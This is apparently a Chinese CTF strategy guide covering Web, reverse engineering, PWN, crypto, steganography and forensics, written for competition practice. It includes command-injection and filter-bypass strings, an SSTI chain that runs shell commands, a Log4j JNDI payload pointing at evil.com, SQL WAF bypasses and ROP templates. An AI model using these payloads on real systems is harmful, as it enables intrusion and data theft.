CTF赛前最容易被忽视的,往往不是某个漏洞的利用方法,而是整套解题思路的搭建。我带队打CTF这么多年,见过太多选手对着一个流量包、一段加密字符串或者一个PHP文件卡两个小时,最后发现是在错误的方向上死磕。真正的高手不是漏洞库背得最多的人,而是能在几分钟内判断“这题考什么”的人。
这篇内容会从我的实战视角,把CTF解题里最常见、最容易复用的思路梳理成一套索引,覆盖Web、逆向、PWN、密码学、隐写和Misc。你不需要按顺序读完,完全可以把它当作赛前速查手册,遇到题目类型时再翻到对应小节。无论你是刚入门CTF,还是准备参加模拟个人赛、想了解AI安全题目,这套思路都能帮你节省大量试错时间。
1. CTF解题的核心思路与全局视角
1.1 先做信息收集,再想漏洞利用
拿到一道CTF题目,第一件事不是打开Burp Suite开始乱扫,不是把代码在IDA里从头看到尾,而是先把“题目给了什么”梳理清楚。
以Web题为例,先看题目描述和附件。题目描述经常暗示考点,比如“听说这个后台用了fastjson”“管理员忘记删掉备份文件了”“我有一个能执行命令的ping功能”。这些都不是废话,是命题人给你的导航。附件则可能是源码、Dockerfile、配置文件、日志文件,甚至是一个流量包。附件里的每一条信息都可能隐藏Flag或漏洞线索。
对于二进制和逆向题,先跑一下file命令看文件类型,再用checksec和strings快速浏览。不要一上来就gdb,很多题目的Flag就藏在字符串里,先搜索flag、ctf、key这些关键词,可能十秒就结束了。
对于密码学和隐写题,先看文件头、文件大小、文件末尾,再用binwalk跑一圈。一次比赛中,一道图片隐写题的Flag就藏在PNG文件末尾追加的文本里,直接strings就出来了,很多新手反而去折腾LSB隐写。
1.2 识别题目类型,快速建立攻击面
CTF题目虽然有各种包装,但底层考点是有限的。我习惯把题目先归到下面几类,再决定用哪套武器库:
- Web:源码泄露、SQL注入、XSS、命令执行、文件包含、文件上传、SSRF、反序列化、SSTI、中间件漏洞。
- 逆向/PWN:静态分析、动态调试、算法还原、栈溢出、格式化字符串、堆利用、内核利用。
- 密码学:编码、古典密码、RSA、AES、ECC、哈希长度扩展、随机数预测。
- 隐写/Misc:图片隐写、音频隐写、压缩包伪加密、流量分析、内存取证、虚拟机逃逸。
- AI安全:提示词注入、模型反推、训练数据泄露、对抗样本。
识别类型之后,再考虑“最容易拿分”的入口。比赛时间有限,最忌讳在一个点上死磕。如果一道题10分钟没有进展,立刻换思路,或者先做其他题目,大脑的潜意识还会继续处理。
1.3 一套通用的解题流程
我总结了一套适用于大多数CTF题目的流程:
- 读取题目描述,记录所有提示词。
- 查看附件,用
file、binwalk、strings、exiftool做初步信息收集。 - 如果是Web题,先访问页面,右键查看源码,检查
robots.txt、/.git/、/.svn/、备份文件。 - 如果发现代码,先找输入点和输出点,跟踪用户可控的数据流。
- 尝试常规漏洞,比如单引号测试SQL注入,
{{7*7}}测试SSTI,/etc/passwd测试文件读取。 - 如果被WAF拦截,研究绕过,如大小写、URL编码、注释符、换行、参数污染。
- 拿到Flag后,立即截图并提交,不要继续深入,除非你想复盘。
这套流程听起来简单,但真正执行到位的人不多。很多新手在第一步就跳过了,看到页面就直接乱点,浪费大量时间。
| 思路编号 | 题目类型 | 核心动作 | 常用工具 |
|---|---|---|---|
| 1 | Web | 源码泄露 | dirsearch、gobuster、浏览器 |
| 2 | Web | SQL注入 | sqlmap、Burp Suite |
| 3 | Web | 命令执行 | Burp Suite、nc |
| 4 | 逆向 | 字符串分析 | strings、rabin2 |
| 5 | PWN | 保护机制检测 | checksec、pwntools |
| 6 | 密码学 | 编码识别 | CyberChef、ctf在线工具 |
| 7 | 隐写 | 文件分离 | binwalk、foremost |
| 8 | Misc | 流量分析 | Wireshark、tshark |
这个表看起来简单,但每个思路背后都有大量细节。下面按方向展开。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Web方向实战思路
2.1 源码泄露与信息收集是Web题的胜负手
我见过太多人喜欢一上来就开sqlmap打万能密码,结果题目根本是源码泄露。很多CTF Web题的入口其实是“你能看到源码”。
常见的源码泄露方式有:
/.git/目录泄露:用githack或者GitHack脚本直接恢复源码。/.svn/目录泄露:类似.git,用svnExploit。www.zip、backup.zip、index.php.bak、flag.txt等备份文件。.DS_Store文件泄露,里面可能包含目录路径。vim交换文件,比如.index.php.swp,可以恢复部分源码。robots.txt里隐藏了后台路径。
我曾经在模拟赛里见到一道题,题目页面只有一个登录框,提示是“源码太长了,管理员备份到了别的地方”。我随手试了一下/www.zip,直接下载到了完整源码,然后发现登录逻辑里写死了admin:admin123。整套过程不到3分钟,后来看比赛排行,很多人卡在这道题上,因为他们一直去测SQL注入。
这里给一个小技巧:扫描目录时不要只盯着dirsearch的默认字典,可以自己补充index.php.bak、config.php.swp、.env、.git/config这些常见敏感文件。同时注意大小写和编码,有时候题目会故意把路径改成/Admin/或者/%2e%2e//。
2.2 命令执行题目:从ping功能到passthru
命令执行在CTF中几乎是必考方向。常见的入口是“ping”功能,比如输入IP地址然后后端执行ping -c 4 $ip。这种题目的考点就是绕过输入限制来执行任意命令。
我的思路顺序是:
- 先测试是否真的存在命令执行,输入
127.0.0.1; id、127.0.0.1 | whoami、127.0.0.1 && ls、$(whoami)。 - 如果命令被过滤,查看过滤规则。比如过滤了空格,可以用
${IFS}、%09、<、>绕过。 - 如果过滤了命令关键词,比如
cat,可以用c\at、ca""t、$'cat'、$(printf "cat")绕过。 - 如果命令执行结果是回显的,直接
cat /flag,如果不能回显,可以用curl外带,或者用sleep做时间盲注。
这里特别说一个函数:passthru()。在PHP中,passthru、system、exec、shell_exec、popen、proc_open都是危险函数。有些CTF题目会把shell_exec屏蔽,但忘了passthru。我在一次比赛里遇到过,题目在源码里过滤了system和exec,但直接执行passthru($_GET['cmd'])就能拿到Flag。
实战小技巧:在测试命令执行时,先执行一个无害的标准输出,比如echo zsdzsd,然后ls /或find / -name "*flag*"。不要在不确定能不能回显的情况下直接执行破坏性命令。
2.3 注入类题目:SQL注入和模板注入
SQL注入在CTF里已经从“万能密码”进化到“各种绕过”。核心思路始终是:找到可控参数,推断查询语句,闭合上下文,注入查询,回显或盲注获取数据。
如果目标有WAF或过滤,我常用的绕过方式:
- 内联注释:
/*!50000union*/select - 等价函数:
substr换成substring、mid,sleep换成benchmark - 编码:URL编码、十六进制、Unicode
- 参数污染:
?id=1&id=2,部分后端会取第一个,部分取第二个,可能造成绕过 - 垃圾字符:在
union select之间加注释、换行、%0a
模板注入(SSTI)是近年Web题的热点。遇到Python Flask、Jinja2渲染时,测试{{7*7}},如果显示49,说明存在SSTI。然后继续测试读取文件或命令执行:
code复制{{config}}
{{''.__class__.__mro__[2].__subclasses__()}}
{{cycler.__init__.__globals__.os.popen('cat /flag').read()}}
要提醒一点:SSTI的利用链在不同版本不同环境下差异很大,平时要在本地靶场多练,把几个通用链背下来,比赛时才有肌肉记忆。
2.4 WAF绕过的思路不只是“大小写”
很多Web题会故意加一个WAF模块,考察选手对过滤规则的理解。常见思路有:
- 大小写混合:
SeLeCt,但只对大小写不敏感的数据库有效。 - 注释符绕过:
sel/**/ect,MySQL支持。 - 换行绕过:
%0a、%0d。 - 等号绕过:
like、in、regexp、<>。 - 字符串拼接:
'adm' 'in'、CONCAT('ad','min')。 - 使用数据库特有语法:
information_schema换成mysql.innodb_table_stats,或者用sys.schema_auto_increment_columns。
我记得有一次比赛,登录框把or、and都替换成了空字符串,而且没有递归过滤。最简单的绕过是anandd,替换一次后变成and,成功注入。这种题目一定要多看过滤代码,确定是替换一次还是循环替换。
2.5 框架与中间件漏洞:Log4j2、CVE-2023-28303这类题怎么打
现代CTF越来越喜欢考真实CVE。遇到这类题目,最快的解题思路是:先识别中间件和版本,再搜索漏洞利用POC,最后适配到题目环境。
Log4j2(CVE-2021-44228)在CTF靶场里已经快成“经典题型”了。考点很简单:日志组件把用户输入作为日志内容输出时,没有限制JNDI查找,导致可以注入${jndi:ldap://evil.com/Exploit}。但真正比赛时,内网可能无法外连,需要改成${jndi:ldap://x.x.x.x:port/Exp},在自己的VPS上起一个恶意的LDAP服务器。靶场复现时记得关掉外网限制,或者用docker内网IP。
CVE-2023-28303是一个Samba相关的越权读文件漏洞。CTF中可能以“给定一个Samba共享,读取另一个用户的私有文件”这种形式出现。解题思路是:
- 先测试SMB共享的可访问性。
- 用公开POC比对版本。
- 构造特定路径穿越或符号链接请求,读取目标文件。
这类真实漏洞题目,关键在于“识别准确版本”。所以我建议平时多浏览漏洞公告,至少每个季度关注一次知名中间件的高危漏洞,把利用工具和POC整理到自己的工具箱里。
3. 逆向与PWN方向实战思路
3.1 逆向工程:先跑一把,再看代码
很多新手打开IDA,被汇编代码吓住了。其实CTF逆向题是有套路的:先运行程序,观察输入输出,再用strings看有没有关键提示,最后才用反汇编/反编译工具定位主逻辑。
我常用的流程:
- 用
file识别文件类型(ELF、PE、APK、固件)。 - 用
strings搜索flag、key、wrong、correct、usage。 - 用
strace跑一下,看系统调用,比如程序是否open了某个文件、是否read了某个输入。 - 用Ghidra或IDA反编译,找到主函数和校验函数。
- 动态调试:在比较函数处下断点,观察寄存器或内存,直接跳过校验。
有些题目会故意把程序写得很大,但关键校验常常在一个比较函数里。找到strcmp、memcmp、strncmp的调用点,把比较的字符串dump出来,就是Flag。
3.2 自定义编码表与Base64替换
“逆向题目Base64替换编码表”是近年特别常见的出题方式。他们把标准Base64的索引表换掉,然后在程序里对输入的Flag进行编码,最后给出一段编码后的字符串。这种题目的解题思路不是去逆向整个程序,而是:
- 从二进制中提取自定义编码表(通常是一个64字节的字符串,可能是常量)。
- 识别出题目用的是Base64编码,替换索引表。
- 写一个简单的Python脚本,用题目自己的编码表解码目标字符串。
我在一次比赛中就遇到过。程序给了两个常量,一个是自定义表,一个是编码后的字符串。全程只有两个数据块,反编译后马上就能看出是Base64变体。把自定义表放进CyberChef的“Base64”模块里替换字符,Flag直接出来了。所以,看到“替换编码表”这类题,先别急着跟程序逻辑死磕,先搜常量和字符串。
3.3 PWN方向:栈迁移到底在迁移什么
PWN题是CTF里门槛偏高的方向,但解题思路很固定。最常见的是栈溢出,利用栈上缓冲区溢出覆盖返回地址,劫持控制流。
栈迁移(Stack Migration)是在栈空间不足时使用的一种技术。它的核心是:通过leave; ret指令,让esp/rsp指向我们可控的内存区域,然后在那里继续ROP链。CTF中常见的触发场景是:read读入字节数不够,gets缓冲区太短,或者只能用一次栈溢出。
解题时先看checksec:
- NX开启,则不能直接执行栈上代码,需要ROP。
- PIE开启,则地址随机化,需要先泄露地址。
- Canary开启,则要先绕过canary,通常通过格式化字符串泄露。
如果栈上空间不够,就用栈迁移。我会计算:溢出点偏移量、leave; ret的地址、目标内存的地址,然后构造:
code复制payload = padding + new_stack_addr + leave_ret
其中new_stack_addr是可控内存的地址,如.bss段。然后把真正的ROP链写到那里。
3.4 格式化字符串与常用pwn工具链
格式化字符串攻击思路很清晰:如果程序用了printf(user_input),就可以用%p泄漏栈上的地址,用%n写入任意地址。比赛中最常见的用途是:
- 泄漏libc地址,计算基址。
- 覆盖GOT表项,比如把
printf@got改成system@plt。
我建议PWN选手把pwntools的几个常规函数写熟练:
python复制from pwn import *
context.arch = 'amd64'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
rop = ROP(elf)
payload = b'A' * offset + p64(rop.find_gadget(['pop rdi; ret'])[0])
调试时多利用gdb.debug()和checksec输出,不要只靠脑子空想。遇到堆题(heap)则需要额外了解fastbin attack、unsorted bin attack、tcache poisoning,这些思路比较深,但CTF堆题的考点相对固定,建议按类型刷题。
4. 密码学与隐写方向实战思路
4.1 编码识别:从Base64变体到多密码嵌套
密码学与Misc之间有个交叉地带,就是“编码识别”。很多选手看到一串乱码就懵,其实有一套判断逻辑:
- 由A-Z、a-z、0-9、+/=组成,长度是4的倍数,优先试Base64。
- 全是大写字母和数字,可能试Base32。
- 由0和1组成,试二进制转ASCII。
- 由0-7组成,试八进制。
- 十六进制字符串,先转ASCII,看看是不是可读文本。
- 特征字符如
..--..,可能是摩斯码。 - 看到
M、A、R、K等字符聚集,可能是培根密码。
“多密码嵌套”是CTF中常见的凑时间题。我见过一个Flag:先Base64解码,然后URL解码,再解十六进制,最后得到一个MD5字符串,再用MD5解密网站还原出明文。这种题没有难度,纯粹考验耐心。我最怕的是手动一个一个解,后来我把CyberChef的Recipe串起来,一步到位。推荐大家用CyberChef,把一个解码流程保存成Recipe,下次直接加载。
还可以自己写一个多密码自动解密工具,思路很简单:先尝试Base64、Base32、URL、Hex、ROT13,如果解码后看起来还是乱码,就递归解码,直到可读或固定轮数。这个工具我用Python写过,不到100行,但比赛时非常省时间。
4.2 RSA常见攻击模式
RSA在CTF密码学题中占了大头。最经典的几个攻击思路:
- p和q已知,直接算私钥。
- 模数太小,直接分解。
- 低加密指数,如e=3,且明文较小,直接开三次方。
- 广播攻击:同一个明文用不同的模数,但是相同的e=3,用中国剩余定理恢复明文。
- p、q接近,用费马分解。
- 共模攻击:同一明文,两个不同的加密指数,但共用一个n。
- Coppersmith:已知高位攻击、已知部分明文攻击。
遇到RSA题,先用openssl或Python的Crypto库读取公钥,看n和e的大小。如果n是256bits以下,用yafu或Python直接分解;如果是512bits,可以先试在线数据库FactorDB;如果e=3,直接尝试小明文。
我给一个RSA广播攻击的快速脚本:
python复制from Crypto.Util.number import long_to_bytes
from sympy.ntheory.modular import crt
ns = [n1, n2, n3]
cs = [c1, c2, c3]
combined = crt(ns, cs)[0]
m = int(round(combined ** (1/3)))
print(long_to_bytes(m))
比赛时不要手推,备好这些模板,能省半小时。
4.3 图片、音频与Office文档隐写
隐写题的核心思路是:把所有可能的隐藏通道都扫一遍。
图片隐写:
- 先看
strings输出。 - 用
binwalk跑,看有没有嵌入文件。 - 用
zsteg检测LSB隐写。 - 检查EXIF信息。
- 用StegSolve逐通道查看图片。
- 如果图片是BMP,考虑LSB在RGB每个分量上的排列。
- 如果图片有颜色异常,考虑色度通道。
音频隐写:
- 用Audacity看波形和频谱图,很多Flag以摩斯码或ASCII图案的方式藏在频谱里。
- 用
strings扫描音频文件,可能直接有密钥提示。 - 如果是多音轨,分离声道。
Word文档隐写:
- 用
binwalk分析docx文件(它本质是zip包)。 - 解压后查看
word/document.xml,可能有隐藏文字或反白文字。 - 检查
word/media/里是否有内嵌图片。 - 使用
oleid和oletools检查宏代码。
我印象最深的是某次比赛,Word文档背景里有一行白色小字,内容就是Flag。很多人盯着宏代码看半天,其实根本没打开“显示所有格式标记”。
4.4 压缩包与流量分析
压缩包伪加密是Misc的送分题。如果打开zip提示需要密码,但binwalk显示没有加密标志,可以直接修改加密位。或者用Python的zipfile读取,即使伪加密也能解压部分文件。
如果压缩包真的加密了,常见思路:
- 弱口令字典爆破,用
fcrackzip或hashcat。 - 已知明文攻击,如果知道压缩包内某个文件的明文,用
pkcrack破解。
流量分析题我推荐直接用Wireshark的导出HTTP对象功能。先按协议统计,看看哪个协议有大量数据,然后过滤HTTP、DNS、TCP。很多流量题把Flag藏在DNS请求的域名里,或者隐藏在WebSocket消息里。如果题目给的是USB流量,那就分别提取键盘、鼠标、流量三类数据,用现成脚本解析键值。
5. 工具链与赛前准备
5.1 必装工具清单与AI辅助的合理使用
CTF工具链不需要装到一两百个,但要覆盖各个方向的“第一工具”。我按类型整理了一套最小集:
- 信息收集:dirsearch、gobuster、nmap、wappalyzer
- Web利用:Burp Suite、sqlmap、CyberChef、Postman
- 逆向:Ghidra、IDA Free、x64dbg、GDB、radare2
- PWN:pwntools、checksec、one_gadget、ROPgadget
- 密码学:openssl、CyberChef、RsaCtfTool、hashcat
- 隐写Misc:binwalk、foremost、zsteg、StegSolve、Audacity
- 流量分析:Wireshark、tshark、NetworkMiner
现在很多选手喜欢用AI辅助工具解CTF。我自己的看法是,AI适合做“翻译”和“模式匹配”,比如把一段反编译代码翻译成伪代码,解释一段未知协议,或者给出某个CVE的利用思路。但AI不适合直接生成漏洞利用payload,因为比赛环境经常有过滤和变形。合理用法是让AI帮你写解密脚本框架、整理攻防checklist。
需要注意一点:不要在比赛服务器上直接跑不熟悉的AI生成脚本,特别是涉及网络请求和文件操作的,很容易造成攻击行为失控。
5.2 靶场训练与100个思路的收纳方式
“CTF靶场”是提升实战能力的最好方式。推荐几个常见靶场平台:DVWA、WebGoat、Juice Shop更适合入门Web;HackTheBox、TryHackMe覆盖系统与Web;Vulhub则方便复现历史CVE(比如Log4j2复现)。如果你自己搭靶场,用Docker拉镜像最省事:
bash复制docker search ctf
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa
至于“100个实战解题思路”,我建议不要死记100条,而是把它们按分类整理成自己的checklist。你可以在本地开一个Markdown文档,每做一道题,就增加一行“考点+突破口+顺手工具”,长期积累下来,你的脑子就自带了一个“索引”。我自己的速查表是按下面的维度记录的:
text复制[Web] 命令执行 -> passthru过滤绕过 -> Burp + 字典
[PWN] 栈迁移 -> 空间不足 -> leave_ret + bss
[Crypto] RSA广播攻击 -> e=3 多n -> crt脚本
[Misc] 图片隐写 -> PNG末尾追加 -> strings
等到比赛时,直接在脑海里按“题目类型 -> 考点关键词 -> 工具”的路径检索,就不会慌乱。
5.3 工具CPU占用过高怎么办
比赛时经常遇到“工具CPU占用高”的问题,最常见的是三种情况:
- 扫描器扫得太猛,如
dirsearch开了200线程。 - 在跑爆破脚本,
hashcat或者自己写的多线程脚本把CPU占满了。 - 某个工具的守护进程常驻内存,比如
nessus、docker。
我的建议是比赛前提前检查:
bash复制ps aux --sort=-%cpu | head -20
top
如果是扫描器导致,可以降低线程数,比如dirsearch -t 30。如果是自己写的Python脚本,用taskset限制CPU核,或者给脚本加个time.sleep(0.1)。
如果在赛场发现某个程序CPU一直100%,而且不是自己开的,立刻检查是不是被别人打了木马。我在一次线下赛中就遇到过某台比赛机器被人放了挖矿木马,导致整组CPU被打满。处理方式就是kill -9相关进程,然后检查启动项和crontab。
6. 实战心得与避坑指南
6.1 我已经踩过的坑
时间分配是最大的坑。一次比赛三小时,我曾经花了两个小时在一道逆向题上,最后发现只是解一个简单的异或。后来我给自己定下规则:任何一道题超过20分钟没进展,就跳到下一道,留最后30分钟统一收尾。这样做的好处是,后面去做其他简单题时,我的潜意识会继续解前面卡住的部分,很多时候回头再看,一眼就想通了。
第二个坑是忽略附件。有一次PWN题提供了一个libc文件,我以为是干扰项,一直用系统libc算偏移,结果payload一直打不通。后来才发现题目给的libc和本地libc版本完全不同。所以拿到PWN题,第一时间ldd pwn,然后strings查看libc版本,把环境对齐。
第三个坑是忘记看响应头。Web题目的响应头里经常有Server、X-Powered-By,甚至直接包含提示。有一次题目在X-Powered-By: Flask里隐藏了考点,但我扫了半天目录才发现。从那次之后,我每次打开页面都会先看响应头。
6.2 判断Flag格式与提交技巧
很多选手折腾半天终于解出了Flag,却因为格式不对提交失败。CTF的Flag格式不一定是flag{...},还可能是ctf{...}、FLAG{...},甚至题目自定义的xxx{...}。
我的建议是:题目描述或者页面源码里通常会有格式提示,可以按flag{、ctf{先搜一遍。如果解出来一大段乱码但中间有英文单词,可以试着把格式修整成标准格式再提交。
另外,有些题目要求提交的是“明文内容”而不是“完整Flag”,比如“请输入解出的字符串”,如果你多加了flag{}外壳反而会错。所以提交前一定要仔细看题目要求。
6.3 几个让我省下大量时间的个人小技巧
先说编码扫描。我每次比赛会把CyberChef的Recipe提前配好,比如“自动检测Base64/Hex/URL解码”,这样拿到密文直接拖进去看结果,不用反复猜。
再说隐写题的file优先原则。任何不认识的附件先跑一遍file和xxd,因为有些题故意把文件后缀改掉,比如把zip改成png,你用图片隐写工具折腾半天都无解,其实解压就出Flag。
第三是保留现场。比赛过程中,每发现一个线索,我都会拷贝到本地的笔记里,并截图保存。这样如果中途需要换人接手,或者比赛后复盘,都有原始记录,不会因为环境重置而丢失。
最后说一句:CTF解题本质上是一场“信息收集+模式匹配+快速验证”的循环。100个思路不算多,真正值钱的是你亲手验证过的那几百种变化。希望这篇长文能帮你少走一些弯路,也祝你在下一场比赛中顺利找到那个Flag。
